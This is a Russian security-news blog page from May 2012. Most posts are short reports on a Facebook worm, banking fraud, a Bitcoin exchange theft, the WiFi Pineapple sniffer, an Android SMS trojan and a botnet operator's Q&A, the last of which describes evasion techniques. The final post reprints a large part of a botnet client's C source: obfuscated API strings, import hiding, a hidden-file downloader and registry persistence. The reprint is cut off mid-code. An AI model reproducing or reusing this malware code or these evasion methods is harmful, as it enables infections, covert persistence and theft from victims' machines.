hacking
Интернет-червь из Facebook блокирует антивирусное ПО
by myao on Май.17, 2012, under hacking, iT-security, kiberNEWS
В начале недели, эксперты антивирусной компании Trend Micro зафиксировали в социальной сети Facebook появление нового интернет-червя, получившего название "WORM_STECKCT.EVL". Интернет-червь распространяется через сервис обмена мгновенными сообщениями Facebook и ряда IM-приложений, таких как AIM, Google Talk, ICQ, MSN и Yahoo! Messenger. Распространение происходит по классической схеме - с зараженной системы через IM-средства происходит рассылка по контакт-листу сообщений с ссылкой на архив, содержащий вредоносный код. Архив вида "May09-Picture18.JPG_www.facebook.com.zip" содержит исполняемый файл, например "May09-Picture18.JPG_www.facebook.com". Использование злоумышленниками домена ".COM" в конце файла позволяет скрыть истинное назначение файла, который представляет собой тело интернет-червя "WORM_STECKCT.EVL". После запуска вирус блокирует ряд антивирусов и связывается с управляющим центром для получения дальнейших команд. Кроме того, происходит дальнейшее самораспространение червя с использованием средств обмена мгновенными сообщениями. В ряде случаев, эксперты Trend Micro зафиксировали установку на уже зараженную систему другого резидентного интернет-червя "WORM_EBOOM.AC". WORM_EBOOM.AC внедряется в ряд системных процессов и производит мониторинг интернет-активности пользователя, в том числе происходит модификация отправляемых сообщений в социальных сервисах Facebook, Meebo, MySpace, Twitter, WordPress с целью распространения вредоносного кода. Антивирусные специалисты, рекомендуют внимательней относится к ссылкам, получаемых даже от знакомых людей.
Хакер приговорен к тюрьме за взлом страницы в Facebook
by myao on Май.17, 2012, under hacking, iT-security, kiberNEWS
В Великобритании суд приговорил к одному году тюремного заключения молодого хакера за взлом страницы в социальной сети Facebook, принадлежащей неназванному гражданину США. Суд британской столицы вынес приговор в отношении 21-летнего Гарета Кросски, жителя графства Западный Суссекс на юге Англии. 12 января прошлого года он взломал страницу в сети Facebook, принадлежащую гражданину США. В результате взлома британский хакер получил доступ к личному ящику электронной почты американского владельца страницы. Имя "жертвы" хакера не называется. Таким образом неизвестно, кому принадлежала взломанная страница - знаменитости или обычному человеку. Также неизвестно, является ли обладатель страницы в Facebook мужчиной или женщиной. Поисками хакера занялось ФБР, которое выяснило, что хакер проживает в Великобритании и связалась с правоохранительными органами этой страны. Отдел лондонского Скотленд-ярда по борьбе с электронными преступлениями изобличил Гарета Кросски, который был арестован 14 июля прошлого года. У задержанного были конфискованы компьютеры и носители информации. В суде хакер признал свою вину. Представитель Скотленд-ярда заявил: "Результат операции послужит уроком для всех, кто занимается подобной преступной деятельностью. Оперативно приняв меры, сотрудники центрального отдела по борьбе с электронными преступлениями быстро арестовали Кросски, тем самым не позволив ему нанести дальнейший ущерб "жертве" своего преступления".
Многоуровневая атака на пользователей клиент-банка
by myao on Май.17, 2012, under hacking, iT-security, kiberNEWS
Компания Trusteer сообщила об обнаружении новой схемы банковского мошенничества через систему дистанционного банковского обслуживания (ДБО). Атака производится с помощью некой вредоносной платформы Tatanga. Несмотря на заявленную простоту атаки, о которой заявляет Trusteer в своем сообщение, атака носит многоуровневый характер. Как правило, многоуровневые атаки существенно уменьшают число подверженных ей. Первым этапом атаки, является установка вредоносного ПО на компьютер жертвы, которое выполнено в виде расширения для веб-браузера. На втором этапе, это расширение отслеживает активность пользователя, а при заходе на страницу определенного интернет-банка, происходит выдача пользовательского сообщения, с информацией о подключение бесплатной услуги по страхованию счета. На следующем этапе, для подтверждения подключения услуги необходимо ввести код авторизации, отправляемый клиент-банком на мобильный телефон клиента. На самом деле под подключением услуги скрывается подтверждение перевода денежных средств на счет злоумышленников. Переводимая сумма находится в диапазоне от 1 до 5 тыс. Евро и зависит от количества денег на счету клиента. По информации Trusteer, данной атаке были подвержены клиенты одного из испанских банков. Однако, эксперты не исключают возможности расширения мошеннической схемы на другие банки, полагая, что обнаруженная ими атака носит тестовый характер.
Хакеры украли у Bitconica виртуальную валюту
by myao on Май.17, 2012, under hacking, iT-security, kiberNEWS
Bitcoin-биржа Bitconica на прошлой неделе приостановила свою работу после того как хакеры ограбили ее онлайн-кошелек на 18 547 виртуальных монет, общая стоимость которых оценивается примерно в 90 тыс. долл. Вероятно, также была скомпрометирована база данных пользователей, сообщает администрация веб-сервиса. Несмотря на то, что пользовательские данные были защищены шифрованием, существует возможность раскрытия легких комбинаций путем прямого перебора. Bitcoin - это цифровая валюта, которой пользователи могут обмениваться без участия какого-либо центрального платежного сервиса. Для синхронизации истории транзакций по биткоинам используется P2P-модель. Как подчеркивают операторы Bitcoinica, были украдены собственные средства самой биржи, а не ее пользователей. Создатель сайта Чжоу Тун одновременно с сообщением о взломе написал еще одно, где признался, что в ноябре продал биржу неназванному инвестору и собирается оставить ее, как только последствия инцидента будут устранены. Bitcoinica не впервые за последнее время становится жертвой хакеров: в марте у биржи были украдены 43 тыс. биткоинов в результате взлома серверов ее хостинг-провайдера Linode. Подобные инциденты сказываются на всей экосистеме цифровой наличности: в июне прошлого года обменный курс виртуальных монет резко упал после взлома крупнейшей биткоин-биржи Mt.Gox. По мнению специалистов, достаточно хорошо продуманный алгоритм функционирования Bitcoin страдает от плохой реализации обслуживающего пользователей веб-интерфейса, который все чаще становится жертвой SQL-инъекций, порождающих утечку данных, а вместе с ней и виртуальной валюты.
Поколение снифера WiFi Pineapple
by myao on Май.12, 2012, under hacking, iT-security, kiberNEWS, Wi-Fi
В магазине хакерских гаджетов HakShop обновление ассортимента: вышло четвёртое поколение аппаратного снифера WiFi Pineapple Mark IV за $89,99. Достаточно поместить это устройство в зоне действия открытого хотспота, а оно сделает всё остальное, включая запись нажатий клавиш, перехват сессий авторизации и т.д.
Гаджет работает методом plug-and-play, то есть исключительно прост в использовании. Он поддерживает подключение модемов 3G/4G по USB 2.0, автоматически устанавливает SSH-туннель с управляющим центром, выполняет различные типы атак man-in-the-middle (urlsnarf, dnsspoof, ngrep), может менять MAC-адреса, взламывает пароли с помощью Reaver-WPS и Aircrack-NG. Дополнительно, снифер выполняет пользовательские скрипты и наборы заданий.
В новой версии полностью обновлён веб-интерфейс управления. Теперь в удобном виде показываются хосты подключённых клиентов, IP-адреса, Karma'd SSID, мощность сигнала, время простоя и пропускная способность сети.
В связи с широкой популярностью WiFi Pineapple, в сети уже создан большой каталог программных модулей для этого устройства, среди них:
Site Survey — поиск окружающих точек доступа и устройств со слабой конфигурацией
Button Manager — конфигурация аппаратной кнопки WPS на выполнение определённых действий, включая скрипты и морганий светодиодом
OPKG Manager — установка, удаление и переустановка пакетов из интернета на USB-носитель или в локальную память
Монитор канала — сообщает об изменении пропускной способности и загрузке сети
Веб-кейлоггер — запись нажатий клавиш на Javascript
Гаджет построен на той же платформе, что и многие другие подобные устройства — это Atheros Linux. Для WiFi используется чипсет Atheros AR9331.
Владельцы ботнета отвечают на вопросы
by myao on Май.12, 2012, under hacking, iT-security, kiberNEWS
На форуме Reddit идёт анонимная сессия вопросов и ответов со студентом-оператором ботнета. Тот в подробностях рассказывает о своей работе.
Студент начал дело, когда захотел ради забавы обойти защиту антивирусов. Затем он увидел, что все антивирусы работают исключительно плохо и здесь можно легко заработать деньги. Сейчас его ботнет состоит из примерно 10 тыс. машин, каждый день происходит 500-1000 новых инсталлов, в выходные больше. Троян распространяется через варезные сайты. Автор говорит, что даже в государственных организациях США качают варез и у него однажды был один бот на faa.gov.
На парке заражённых машин осуществляется генерация биткоинов с общей производительностью от 13 до 20 гигахэшей в секунду. Оператор под ником throwaway236236 сам не занимается кардингом, но продаёт банковскую, биллинговую информацию и данные кредитных карт с заражённых машин.
Студент спроектировал ботнет самостоятельно, имея за плечами два года опыта в программировании. Он взял утёкший исходный код ZeuS, исправил баги, добавил новые фичи и руткит, добавил модули IRC, DDoS и майнинга биткоинов. Кроме того, он пустил трафик через Tor, чтобы исключить обнаружение. Кстати говоря, боты также работают как релеи Tor, помогая другим пользователям.
Защита от антивирусов осуществляется с помощью полиморфизма на серверной стороне, каждый бот регулярно получает индивидуальный апдейт. Поначалу его криптер засекли, так что пришлось быстро переделать код, но с тех пор проблем не было.
Генерация биткоинов начинается на GPU в низком приоритете после двух минут простоя компьютера, она идёт на 60% максимальной производительности GPU, что незаметно для пользователя и не тормозит работу системы. BTC приносит больше денег, чем DDoS, потому что DDoS исключительно дёшев и заказчиками являются разве что конкурирующие компании, которые хотят потроллить друг друга.
Студент сейчас думает о том, чтобы просто покупать ботов. Например, инсталлы на азиатских ПК продаются по $15 за тысячу, а у них хорошие GPU.
По оценке throwaway236236, сейчас в сети Bitcoin около 30% всех новых монет генерируется в ботнетах. Могло быть и больше, но сами операторы ботнетов не занимаются активными инвестициями в инфраструктуру, чтобы не обрушить стоимость BTC. Кроме того, 90% операторов ботнетов, по его словам, в своей жизни не написали ни одной строчки кода, так что они не обладают необходимой квалификацией, чтобы профессионально развивать бизнес. Они просто покупают необходимые инструменты, что сейчас сделать довольно просто. Даже базовых знаний Perl достаточно, чтобы сделать постоянно перекомпилирующийся код, который не смогут обнаружить антивирусы. С базовыми знаниями ассемблера вы можете сделать буткит. Добавьте сетевого инженера — и ваш ботнет начинает работать по P2P и становится практически неуязвим. Slavik и Gribodemon — два парня, которые как раз недавно и запустили такую систему. Автор говорит со ссылкой на достоверные источники, что Gribodemon сейчас изучает ассемблер, поэтому скоро можно ожидать появления новых неожиданных зловредов. Кстати, Slavik сейчас отдыхает на Мальдивах с крупной суммой наличных, наслаждаясь красивой жизнью со спортивными машинами и сексуальными девицами.
Сам оператор ботнета — студент, изучает программирование. Он считает свой нынешний бизнес не очень перспективным, с его помощью он лишь зарабатывает карманные деньги, BTC приносит около $50 в день. Заработки не очень большие, самая крупная добыча была однажды, когда он смог продать за 1000 Liberty Reserve случайные логи ZeuS и базу из миллиона email'ов, которые обнаружил в одном магазине.
Большинство операторов ботнетов используют Liberty Reserve, потому что у них не хватает знаний и опыта на Bitcoin.
Отвечая на философские вопросы, throwaway236236 сказал, что мошенники есть во всех уголках мира, а самые успешные из них сидят в правительстве. Многие коммерческие компании, в том числе банки, строят свой бизнес на одурачивании не совсем грамотных людей, которые не способны вникнуть в условиях контракта. Заработок на неграмотных компьютерных юзерах — похожее мошенничество.
Хакеры замаскировали Android-троянца под обновление
by myao on Май.11, 2012, under hacking, iT-security, kiberNEWS
Эксперты антивирусной компании TrendLabs обнаружили фальшивое обновление плеера Adobe Flash, которое на самом деле является SMS-троянцем для устройств на платформе Android, рассылающим платные сообщения на короткие номера, сообщает пресс-служба компании.
Хакеры распространяют вредоносное ПО через специально созданный сайт, который представляет собой фальшивую версию сайта Adobe (компании, разрабатывающей программу Flash Player). На хакерском ресурсе размещено текстовое описание "обновления" и ссылка, с помощью которой можно скачать вредоносное ПО. Вся информация на сайте - на русском языке, что указывает на то, что целью хакеров являются русскоговорящие пользователи устройств на Android, сообщает digit.ru.
Маскируя вредоносное ПО под обновление плеера Flash, хакеры пользуются повышенным вниманием прессы к этому продукту Adobe, возникшим в начале мая после выхода критически важного обновления безопасности для Flash Player, которое разработчики рекомендуют установить скорейшим образом.
Злоумышленники рассчитывают, что пользователь по невнимательности скачает фальшивое обновление, увидев его рекламу на одном из сайтов, на которых хакеры продвигают свои мошеннические схемы. Киберпреступники уже реализовывали этот сценарий в марте - выпустив фальшивую версию популярной мобильный игры Angry Birds Space вскоре после громкого запуска подлинной версии. Помимо этого, в апреле, вскоре после новостей о выходе версии популярного приложения Instagram для Android, а также о его покупке социальной сетью Facebook, хакеры распространили в сети фальшивую версию Instagram, которая рассылала SMS на платные короткие номера. Как и в случае с "хакерским" обновлением Flash, фальшивые Angry Birds Space и Instargam были нацелены на русскоговорящих пользователей.
Поскольку во всех описанных случаях злоумышленники предлагают скачать вредоносное приложение с одного из сторонних ресурсов, а не из официального магазина приложений Google Play, в качестве простой меры, которая обезопасит пользователей от угрозы опустошения мобильного счета, специалисты советуют включение запрета на установку приложений из сторонних источников. Данная функция есть во всех актуальных версиях системы Android. Кроме того, эксперты советуют использовать антивирус - подобные программные продукты, в том числе бесплатные, уже есть в Google Play.
Мобильная платформа Google Android является одной из самых популярных в мире. Однако вместе с ростом популярности у конечных пользователей растет и внимание злоумышленников к этой ОС. По данным исследования "Лаборатории Касперского", в 2011 году на долю Android пришлось 59% общего объема вредоносного ПО для мобильных устройств. При этом прежний лидер этого рейтинга, платформа J2ME, на которой работает большинство недорогих мобильных телефонов, оказался на втором месте с 32%. На третьем - Symbian с 8,3%, на четвертом месте - Windows Mobile c 1,6%. На категорию "прочие платформы", к которым относятся Apple iOS, RIM Blackberry OS и другие, пришлось менее половины процента от общего числа вредоносного кода для мобильных устройств в 2011 году.
Hackaphone в Нижнем Новгороде
by myao on Май.11, 2012, under hacking, iT-security, kiberNEWS
25–27 мая в Нижнем Новгороде состоится Hackaphone — первый в городе хакатон для разработчиков мобильных приложений.
Хакатон — это неформальное мероприятие, позволяющее молодым специалистам собраться в команды для реализации своих идей и написать работающее приложение за 40 часов. Особенность хакатона в том, что участники полностью погружаются в процесс разработки в течение двухдневного non-stop общения, обмениваются опытом и получают уникальную возможность продвижения своего проекта.
25 мая состоится открытие мероприятия, куда приглашаются все желающие. Авторы будут презентовать свои идеи приложений, а жюри выберет самые жизнеспособные. 26 мая команды отправятся в «секретный бункер», где в течение двух дней будут заниматься разработкой своих проектов. Также, в программе предусмотрены мастер-классы экспертов мобильной индустрии и неформальное общение со специалистами из студий-разработчиков и компаний-издателей.
Приглашаются к участию как сформированные команды, так и независимые специалисты — программисты, авторы приложений, дизайнеры и все, кому интересны mobile-разработки. Все участники хакатона получат билеты на moco#mdday — конференцию для разработчиков мобильных приложений, которая состоится 7-8 июня в Москве. А победитель — шанс заключить контракт с издателем на продвижение приложения.
Также, в рамках хакатона пройдут индивидуальные разработческие спринт-забеги на специальный приз компании «Мера» — планшет iPad 2. Стать спринтером может любой разработчик, владеющий основами J2EE.
Зарегистрироваться и получить подробную информацию о мероприятии http://hackaphone.ru/
Исходник ботнета клиентская часть
by myao on Май.11, 2012, under hacking, iT-security, kiberNEWS
Исследователи McAfee обнаружили на Pastebin исходный код, очень похожий на клиентскую программу ботнета. Код простой, логично скомпонован и содержит весь набор требуемых функций (ссылка на Pastebin). Похоже, что программа протестирована и завершена.
Кроме стандартных опций (инсталляция, копирование в папку Windows\System32\, отправка на сервер версии ОС, имени пользователя и botID, получение команд с сервера, обновление), программа содержит несколько интересных дополнительных возможностей: это проверка наличия песочницы и программ мониторинга трафика вроде OllyDbg или Wireshark. В обоих случаях программа прекращает активность, чтобы не обнаружить себя.
Судя по всему, код написан грамотным и опытным программистом. Публикация на Pastebin может быть попыткой продать исходники или демонстрацией мастерства при трудоустройстве.
#include "config.h"
typedef FARPROC (__stdcall* GPA)( HMODULE , LPCSTR );
GPA rGetProcAddress;
typedef HMODULE (__stdcall* LLA)(LPCSTR);
LLA rLoadLibraryA;
typedef HANDLE (__stdcall* CRT)(LPSECURITY_ATTRIBUTES,SIZE_T ,LPTHREAD_START_ROUTINE ,LPVOID ,DWORD , LPDWORD );
CRT rCreateThread;
typedef HINTERNET (__stdcall* IOA)(LPCSTR ,DWORD ,LPCSTR ,LPCSTR ,DWORD dwFlags);
IOA rInternetOpenA;
typedef HINTERNET(__stdcall* ICA)(HINTERNET ,LPCSTR ,INTERNET_PORT ,LPCSTR ,LPCSTR ,DWORD , DWORD ,DWORD_PTR );
ICA rInternetConnectA;
typedef HINTERNET(__stdcall* HRA)( HINTERNET ,LPCSTR ,LPCSTR , LPCSTR ,LPCSTR ,LPCSTR ,DWORD , DWORD_PTR );
HRA rHttpOpenRequestA;
typedef BOOL (__stdcall* HSR)(HINTERNET ,LPCSTR ,DWORD ,LPVOID ,DWORD );
HSR rHttpSendRequestA;
typedef BOOL (__stdcall* IRF )(HINTERNET , LPVOID ,DWORD , LPDWORD );
IRF rInternetReadFile;
typedef BOOL (__stdcall* ICH )(HINTERNET );
ICH rInternetCloseHandle;
typedef BOOL (__stdcall* CPA)(LPCSTR ,LPSTR ,LPSECURITY_ATTRIBUTES ,LPSECURITY_ATTRIBUTES ,BOOL ,DWORD ,LPVOID ,LPCSTR ,LPSTARTUPINFOA ,LPPROCESS_INFORMATION );
CPA rCreateProcessA;
typedef UINT (__stdcall* GSD)(LPSTR ,UINT );
GSD rGetSystemDirectoryA;
typedef LONG(__stdcall* REGCREATEKEY)(HKEY hKey,LPCTSTR lpSubKey,DWORD Reserved,LPTSTR lpClass,DWORD dwOptions,REGSAM samDesired,LPSECURITY_ATTRIBUTES lpSecurityAttributes,PHKEY phkResult,LPDWORD lpdwDisposition);
typedef LONG(__stdcall* REGCLOSE)(HKEY hKey);
typedef LONG(__stdcall* REGSETVAL)(HKEY hKey,LPCTSTR lpValueName,DWORD Reserved,DWORD dwType,const BYTE *lpData,DWORD cbData);
typedef LONG (__stdcall* ROK)(HKEY hKey, LPCSTR lpSubKey,PHKEY phkResult);
REGCREATEKEY rRegCreateKey;
REGCLOSE rRegCloseKey;
REGSETVAL rRegSetValue;
ROK rRegOpenKey;
typedef HANDLE (__stdcall* CMA)( LPSECURITY_ATTRIBUTES , BOOL ,LPCSTR );
CMA rCreateMutexA;
typedef BOOL (__stdcall* CFA )(LPCSTR ,LPCSTR ,BOOL );
CFA rCopyFileA;
typedef BOOL (__stdcall* SFA)(LPCSTR ,DWORD );
SFA rSetFileAttributesA;
typedef DWORD(WINAPI* WFO)(HANDLE ,DWORD );
WFO rWaitForSingleObject;
typedef DWORD (WINAPI* GMF)(HMODULE , LPSTR ,DWORD );
GMF rGetModuleFileNameA;
typedef HANDLE(WINAPI* CRA)(LPCSTR ,DWORD ,DWORD ,LPSECURITY_ATTRIBUTES , DWORD ,DWORD ,HANDLE );
CRA rCreateFileA;
typedef BOOL (WINAPI* WFA)(HANDLE , LPCVOID , DWORD ,LPDWORD ,LPOVERLAPPED );
WFA rWriteFile;
typedef HINTERNET (__stdcall* INA )(HINTERNET ,LPCSTR ,LPCSTR ,DWORD , DWORD ,DWORD_PTR );
INA rInternetOpenUrlA;
typedef HLOCAL (WINAPI* LCA )(UINT , SIZE_T );
LCA rLocalAlloc;
typedef BOOL (WINAPI* CLH)(HANDLE );
CLH rCloseHandle;
typedef HLOCAL (WINAPI* LFE)(HLOCAL );
LFE rLocalFree;
typedef BOOL (WINAPI* GUN ) ( LPSTR , LPDWORD );
GUN rGetUserNameA;
typedef BOOL (WINAPI* GCN ) (LPSTR , LPDWORD );
GCN rGetComputerNameA;
typedef BOOL (WINAPI* GVA )(LPOSVERSIONINFOA );
GVA rGetVersionExA;
typedef HINSTANCE (__stdcall* SEA)(HWND , LPCSTR , LPCSTR , LPCSTR , LPCSTR , INT );
SEA rShellExecuteA;
typedef HWND (WINAPI* FWA)(LPCSTR ,LPCSTR );
FWA rFindWindowA;
typedef BOOL (WINAPI* WPS)(LPCSTR , LPCSTR ,LPCSTR , LPCSTR );
typedef UINT( WINAPI* GDT)( LPCSTR );
WPS rWritePrivateProfileStringA;
GDT rGetDriveTypeA;
typedef UINT (WINAPI* SEM )(UINT);
SEM rSetErrorMode;
typedef BOOL (WINAPI* OPT)(HANDLE , DWORD , PHANDLE );
OPT rOpenProcessToken;
typedef BOOL (WINAPI* LPV)(LPCSTR ,LPCSTR ,PLUID);
LPV rLookupPrivilegeValueA;
typedef BOOL (WINAPI* ATP)( HANDLE ,BOOL ,PTOKEN_PRIVILEGES , DWORD , PTOKEN_PRIVILEGES ,PDWORD );
ATP rAdjustTokenPrivileges;
typedef bool (__stdcall* GVI)( LPCSTR,LPSTR,DWORD,LPDWORD,LPDWORD,LPDWORD,LPSTR,DWORD );
GVI m_GetVolumeInformation;
typedef HANDLE (WINAPI* GCP)( VOID );
GCP rGetCurrentProcess;
char savedBuffer[4096];
struct Config
{
char panel[256];
char domain[256];
char bin[256];
char UserAgent[256];
bool bDecrypted;
char szMutex[256];
HANDLE hMutex;
HANDLE hMainThreads[10];
};
class vPC
{
public:
char OS[12];
char UserName[126];
};
vPC info;
#define REG_KEY_STARTUP /*Msdriver*/XorStr<0x76,9,0x20CD2D2C>("\x3B\x04\x1C\x0B\x13\x0D\x19\x0F"+0x20CD2D2C).s
#define MAX_LIBS 5
bool m_bApiLoaded = FALSE;
Config boatz;
BOOL _WinMain( void );
DWORD WINAPI tScanner ( LPVOID );
DWORD WINAPI tMain ( LPVOID );
DWORD WINAPI tChecker ( LPVOID );
//credits to uraniam from rohitab for DownloadFile()
BOOL downloadFile(LPCTSTR lpszUrl, LPCTSTR lpszDownloadPath);
BOOL downloadFile(LPCTSTR lpszUrl, LPCTSTR lpszDownloadPath)
{
HINTERNET hInternet, hUrl;
HANDLE hFile;
BOOL bReturn = FALSE;
LPVOID lpBuffer;
DWORD dwOut;
#define BLOCK_SIZE 1024
if((hInternet = rInternetOpenA(boatz.UserAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0))) {
if((hUrl = rInternetOpenUrlA(hInternet, lpszUrl, NULL, 0, 0, 0))) {
if((hFile = rCreateFileA(
lpszDownloadPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM, NULL
)) != INVALID_HANDLE_VALUE) {
if((lpBuffer = rLocalAlloc(LPTR, BLOCK_SIZE))) {
while(rInternetReadFile(hUrl, lpBuffer, BLOCK_SIZE, &dwOut) && (dwOut > 0)) {
rWriteFile(hFile, lpBuffer, dwOut, &dwOut, NULL);
}
bReturn = TRUE;
rLocalFree(lpBuffer);
}
rCloseHandle(hFile);
}
rInternetCloseHandle(hUrl);
}
rInternetCloseHandle(hInternet);
}
return bReturn;
}
void LoadFunctions( void ) //Wrapper functions to remove them from IAT
{
HINSTANCE DllLibrary[MAX_LIBS];
DllLibrary[1] = GetModuleHandle(/*kernel32.dll*/XorStr<0xB0,13,0xC9EDC664>("\xDB\xD4\xC0\xDD\xD1\xD9\x85\x85\x96\xDD\xD6\xD7"+0xC9EDC664).s);
rGetProcAddress = (GPA)GetProcAddress(DllLibrary[1],/*GetProcAddress*/XorStr<0x11,15,0xECE70799>("\x56\x77\x67\x44\x67\x79\x74\x59\x7D\x7E\x69\x79\x6E\x6D"+0xECE70799).s);
if( rGetProcAddress != NULL)
{
rLoadLibraryA = (LLA)rGetProcAddress(DllLibrary[1],/*LoadLibraryA*/XorStr<0xC4,13,0x6CC9ABD9>("\x88\xAA\xA7\xA3\x84\xA0\xA8\xB9\xAD\xBF\xB7\x8E"+0x6CC9ABD9).s);
//
if( rLoadLibraryA != NULL)
{
DllLibrary[2] = rLoadLibraryA(/*wininet.dll*/XorStr<0x13,12,0xB7465B9B>("\x64\x7D\x7B\x7F\x79\x7D\x6D\x34\x7F\x70\x71"+0xB7465B9B).s);
DllLibrary[3] = rLoadLibraryA(/*advapi32.dll*/XorStr<0xB0,13,0x3B4009BC>("\xD1\xD5\xC4\xD2\xC4\xDC\x85\x85\x96\xDD\xD6\xD7"+0x3B4009BC).s);
DllLibrary[4] = rLoadLibraryA(/*Shell32.dll*/XorStr<0xFF,12,0xFE26FA1D>("\xAC\x68\x64\x6E\x6F\x37\x37\x28\x63\x64\x65"+0xFE26FA1D).s);
DllLibrary[5] = rLoadLibraryA(/*User32.dll*/XorStr<0x9B,11,0x76A73C98>("\xCE\xEF\xF8\xEC\xAC\x92\x8F\xC6\xCF\xC8"+0x76A73C98).s);
//adv32
rRegCloseKey = (REGCLOSE)rGetProcAddress(DllLibrary[3],/*RegCloseKey*/XorStr<0xF1,12,0x73921156>("\xA3\x97\x94\xB7\x99\x99\x84\x9D\xB2\x9F\x82"+0x73921156).s);
rRegSetValue = (REGSETVAL)rGetProcAddress(DllLibrary[3],/*RegSetValueExA*/XorStr<0x94,15,0x0E63B1C0>("\xC6\xF0\xF1\xC4\xFD\xED\xCC\xFA\xF0\xE8\xFB\xDA\xD8\xE0"+0x0E63B1C0).s);
rRegCreateKey = (REGCREATEKEY)rGetProcAddress(DllLibrary[3],/*RegCreateKeyExA*/XorStr<0x04,16,0xE4B62D4D>("\x56\x60\x61\x44\x7A\x6C\x6B\x7F\x69\x46\x6B\x76\x55\x69\x53"+0xE4B62D4D).s);
rRegOpenKey = (ROK)rGetProcAddress(DllLibrary[3],/*RegOpenKeyA*/XorStr<0xDC,12,0x8382288F>("\x8E\xB8\xB9\x90\x90\x84\x8C\xA8\x81\x9C\xA7"+0x8382288F).s);
rGetUserNameA = (GUN)rGetProcAddress(DllLibrary[3],/*GetUserNameA*/XorStr<0x9E,13,0x25240CBD>("\xD9\xFA\xD4\xF4\xD1\xC6\xD6\xEB\xC7\xCA\xCD\xE8"+0x25240CBD).s);
//wininet
rInternetOpenA = (IOA)rGetProcAddress(DllLibrary[2],/*InternetOpenA*/XorStr<0x48,14,0x8901D8D0>("\x01\x27\x3E\x2E\x3E\x23\x2B\x3B\x1F\x21\x37\x3D\x15"+0x8901D8D0).s);
rInternetConnectA = (ICA)rGetProcAddress(DllLibrary[2],/*InternetConnectA*/XorStr<0xFF,17,0x03F5C2D4>("\xB6\x6E\x75\x67\x71\x6A\x60\x72\x44\x67\x67\x64\x6E\x6F\x79\x4F"+0x03F5C2D4).s);
rHttpOpenRequestA = (HRA)rGetProcAddress(DllLibrary[2],/*HttpOpenRequestA*/XorStr<0xD1,17,0x9AD9FF5A>("\x99\xA6\xA7\xA4\x9A\xA6\xB2\xB6\x8B\xBF\xAA\xA9\xB8\xAD\xAB\xA1"+0x9AD9FF5A).s);
rHttpSendRequestA = (HSR)rGetProcAddress(DllLibrary[2],/*HttpSendRequestA*/XorStr<0x91,17,0x8D0704D6>("\xD9\xE6\xE7\xE4\xC6\xF3\xF9\xFC\xCB\xFF\xEA\xE9\xF8\xED\xEB\xE1"+0x8D0704D6).s);
rInternetReadFile = (IRF)rGetProcAddress(DllLibrary[2],/*InternetReadFile*/XorStr<0x34,17,0xCEFF5375>("\x7D\x5B\x42\x52\x4A\x57\x5F\x4F\x6E\x58\x5F\x5B\x06\x28\x2E\x26"+0xCEFF5375).s);
rInternetCloseHandle = (ICH)rGetProcAddress(DllLibrary[2],/*InternetCloseHandle*/XorStr<0xC1,20,0x718783D4>("\x88\xAC\xB7\xA1\xB7\xA8\xA2\xBC\x8A\xA6\xA4\xBF\xA8\x86\xAE\xBE\xB5\xBE\xB6"+0x718783D4).s);
rInternetOpenUrlA = (INA)rGetProcAddress(DllLibrary[2],/*InternetOpenUrlA*/XorStr<0x5F,17,0x7F349AB1>("\x16\x0E\x15\x07\x11\x0A\x00\x12\x28\x18\x0C\x04\x3E\x1E\x01\x2F"+0x7F349AB1).s);
//k32GSD ;
m_GetVolumeInformation = (GVI)rGetProcAddress(DllLibrary[1],/*GetVolumeInformationA*/XorStr<0x5B,22,0xFA1B2DC3>("\x1C\x39\x29\x08\x30\x0C\x14\x0F\x06\x2D\x0B\x00\x08\x1A\x04\x0B\x1F\x05\x02\x00\x2E"+0xFA1B2DC3).s);
rCreateThread = (CRT)rGetProcAddress(DllLibrary[1],/*CreateThread*/XorStr<0xAC,13,0xA737C98E>("\xEF\xDF\xCB\xCE\xC4\xD4\xE6\xDB\xC6\xD0\xD7\xD3"+0xA737C98E).s);
rCreateProcessA = (CPA)rGetProcAddress(DllLibrary[1],/*CreateProcessA*/XorStr<0x60,15,0xD5047F2D>("\x23\x13\x07\x02\x10\x00\x36\x15\x07\x0A\x0F\x18\x1F\x2C"+0xD5047F2D).s);
rGetSystemDirectoryA = (GSD)rGetProcAddress(DllLibrary[1],/*GetSystemDirectoryA*/XorStr<0xB2,20,0x9E89602D>("\xF5\xD6\xC0\xE6\xCF\xC4\xCC\xDC\xD7\xFF\xD5\xCF\xDB\xDC\xB4\xAE\xB0\xBA\x85"+0x9E89602D).s);
rCopyFileA = (CFA)rGetProcAddress(DllLibrary[1],/*CopyFileA*/XorStr<0x8A,10,0x5AFDB108>("\xC9\xE4\xFC\xF4\xC8\xE6\xFC\xF4\xD3"+0x5AFDB108).s);
rSetFileAttributesA = (SFA)rGetProcAddress(DllLibrary[1],/*SetFileAttributesA*/XorStr<0xDA,19,0xFB4413B8>("\x89\xBE\xA8\x9B\xB7\xB3\x85\xA0\x96\x97\x96\x8C\x84\x92\x9C\x8C\x99\xAA"+0xFB4413B8).s);
rCreateMutexA = (CMA)rGetProcAddress(DllLibrary[1],/*CreateMutexA*/XorStr<0xFF,13,0x16990443>("\xBC\x72\x64\x63\x77\x61\x48\x73\x73\x6D\x71\x4B"+0x16990443).s);
rWaitForSingleObject = (WFO)rGetProcAddress(DllLibrary[1],/*WaitForSingleObject*/XorStr<0x38,20,0xAFC0926E>("\x6F\x58\x53\x4F\x7A\x52\x4C\x6C\x29\x2F\x25\x2F\x21\x0A\x24\x2D\x2D\x2A\x3E"+0xAFC0926E).s);
rGetModuleFileNameA = (GMF)rGetProcAddress(DllLibrary[1],/*GetModuleFileNameA*/XorStr<0xCC,19,0x8420748F>("\x8B\xA8\xBA\x82\xBF\xB5\xA7\xBF\xB1\x93\xBF\xBB\xBD\x97\xBB\xB6\xB9\x9C"+0x8420748F).s);
rCreateFileA = (CRA)rGetProcAddress(DllLibrary[1],/*CreateFileA*/XorStr<0xC1,12,0x7EA0EF06>("\x82\xB0\xA6\xA5\xB1\xA3\x81\xA1\xA5\xAF\x8A"+0x7EA0EF06).s);
rWriteFile = (WFA)rGetProcAddress(DllLibrary[1],/*WriteFile*/XorStr<0x7F,10,0xEE5671E4>("\x28\xF2\xE8\xF6\xE6\xC2\xEC\xEA\xE2"+0xEE5671E4).s);
rLocalAlloc = (LCA)rGetProcAddress(DllLibrary[1],/*LocalAlloc*/XorStr<0xB5,11,0x66D3FCD8>("\xF9\xD9\xD4\xD9\xD5\xFB\xD7\xD0\xD2\xDD"+0x66D3FCD8).s);
